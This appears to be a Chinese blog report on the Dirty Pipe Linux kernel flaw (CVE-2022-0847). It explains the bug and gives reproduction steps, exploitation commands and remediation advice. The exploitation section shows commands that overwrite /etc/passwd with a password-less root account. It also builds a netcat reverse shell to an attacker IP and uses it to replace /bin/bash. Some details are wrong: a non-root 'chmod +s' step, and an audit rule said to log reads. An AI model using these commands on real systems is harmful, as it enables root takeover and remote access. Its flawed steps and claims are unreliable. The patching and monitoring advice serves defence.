Dirt Pipe 提权漏洞

Dirty Pipe提权漏洞报告

一、漏洞概述

漏洞编号

CVE-2022-0847

漏洞发现时间

2022年

漏洞影响范围

该漏洞影响基于Linux内核5.8及以上版本的系统,在Ubuntu 21.10等使用特定版本内核(如5.13.0 - 30 - generic)的系统中可被利用。众多服务器、桌面系统以及移动设备等若运行受影响的内核版本,均面临安全风险。

漏洞危害

攻击者可利用此漏洞在本地实现权限提升,获取系统root权限。一旦成功提权,攻击者能够随意修改系统关键文件、安装恶意软件、窃取敏感信息或对系统进行破坏,严重威胁系统的安全性和数据的保密性、完整性。

二、漏洞原理

漏洞根本原因

Dirty Pipe漏洞的根源在于Linux内核的管道(pipe)处理逻辑存在缺陷。在正常情况下,内核中的管道缓存机制用于在进程间高效传输数据。然而,该漏洞允许攻击者通过精心构造的输入,覆盖只读文件的缓存页。当一个进程试图读取或写入管道数据时,内核会错误地将攻击者提供的数据写入到只读文件的缓存中,且后续这些修改会被同步到实际的文件系统,从而绕过了文件的只读权限限制。

技术细节

  1. 管道缓存机制:Linux内核中的管道通过环形缓冲区来实现进程间通信。当一个进程向管道写入数据,另一个进程从管道读取数据时,数据会在缓冲区中暂存。

  2. 缓存页覆盖漏洞:攻击者利用特定的系统调用和数据构造方式,使得内核在处理管道数据时,将数据错误地写入到只读文件对应的缓存页中。由于缓存页与实际文件存在映射关系,这种错误的写入最终会导致只读文件被修改。

  3. 权限绕过:原本只读文件受权限保护,普通用户无法直接修改。但通过Dirty Pipe漏洞,攻击者能够以普通用户身份修改只读文件,进而实现权限提升等恶意操作。

三、复现步骤

环境搭建

  1. 系统准备:安装Ubuntu 21.10操作系统。

  2. 内核安装

    • 更新系统:sudo apt update && sudo apt upgrade -y

    • 下载存在漏洞的内核(5.13.0 - 30 - generic):wget http://old - releases.ubuntu.com/ubuntu/pool/main/l/linux/linux - image - 5.13.0 - 30 - generic_5.13.0 - 30.33_amd64.deb

    • 安装内核:sudo dpkg -i linux - image - 5.13.0 - 30 - generic_5.13.0 - 30.33_amd64.deb

    • 重启系统并选择该内核。

  3. 验证内核版本:执行uname -a,确认版本为5.13.0 - 30 - generic。

漏洞验证

  1. 下载PoC代码git clone https://github.com/Arinerron/CVE - 2022 - 0847 - DirtyPipe - Exploit

  2. 进入目录并编译cd CVE - 2022 - 0847 - DirtyPipe - Exploit,然后执行make编译漏洞利用程序。

漏洞利用

  1. 利用Dirty Pipe覆盖/etc/passwd添加root用户

    • 备份原文件:cp /etc/passwd /tmp/passwd.bak

    • 生成恶意用户条目(用户名为hacker,无密码,UID = 0):echo "hacker::0:0::/root:/bin/bash" > /tmp/passwd

    • 使用PoC覆盖/etc/passwd:./dirtypipe /etc/passwd 1 /tmp/passwd

    • 验证提权:执行su hacker(无需密码),再执行id确认UID = 0,执行whoami输出应为root。

  2. 进阶利用(覆盖SUID程序劫持实现远程Shell获取)

    • 编译一个反弹Shell的bash:gcc -o /tmp/bash -xc - <<<'int main(){system("nc -e /bin/bash 攻击机IP 4444");}'

    • 覆盖/bin/bash:./dirtypipe /bin/bash 1 /tmp/bash

    • 触发反弹Shell:chmod +s /bin/bash,然后执行/bin/bash

四、修复建议

内核升级

立即将Linux内核升级至5.17及以上版本。新版本的内核已经修复了该漏洞的相关代码逻辑,通过更新内核能够有效防御Dirty Pipe漏洞攻击。例如,在Ubuntu系统中,可以使用命令sudo apt update && sudo apt full - upgrade来获取并安装最新的内核版本。

权限管理

  1. 限制非特权用户访问敏感文件:仔细审查系统中文件和目录的权限设置,确保非特权用户没有对敏感文件(如/etc/passwd、/bin/bash等)的写权限。可以使用命令如chmod来调整文件权限,例如chmod 0444 /etc/passwd确保该文件只有读权限。

  2. 加强文件系统挂载选项:对于关键的文件系统,采用更严格的挂载选项。例如,对于包含系统重要文件的分区,使用ro(只读)选项挂载,防止在文件系统层面被非法写入。在/etc/fstab文件中配置相关分区的挂载选项。

安全监控

  1. 部署文件完整性监控工具:安装并配置文件完整性监控工具,如AIDE(Advanced Intrusion Detection Environment)。AIDE能够定期检查文件的完整性,一旦发现文件被修改,及时发出警报。通过配置AIDE的规则文件,定义需要监控的文件和目录,以及监控的方式(如文件大小、权限、哈希值等)。

  2. 启用系统审计:开启系统的审计功能,对文件的读写操作进行详细记录和分析。在Linux系统中,可以通过配置auditd服务来实现。例如,配置auditd规则来监控对敏感文件的访问,如auditctl -w /etc/passwd -p wa -k passwd_access,这样当有任何对/etc/passwd文件的写或读操作时,auditd会记录相关事件,便于安全人员及时发现异常行为。

评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值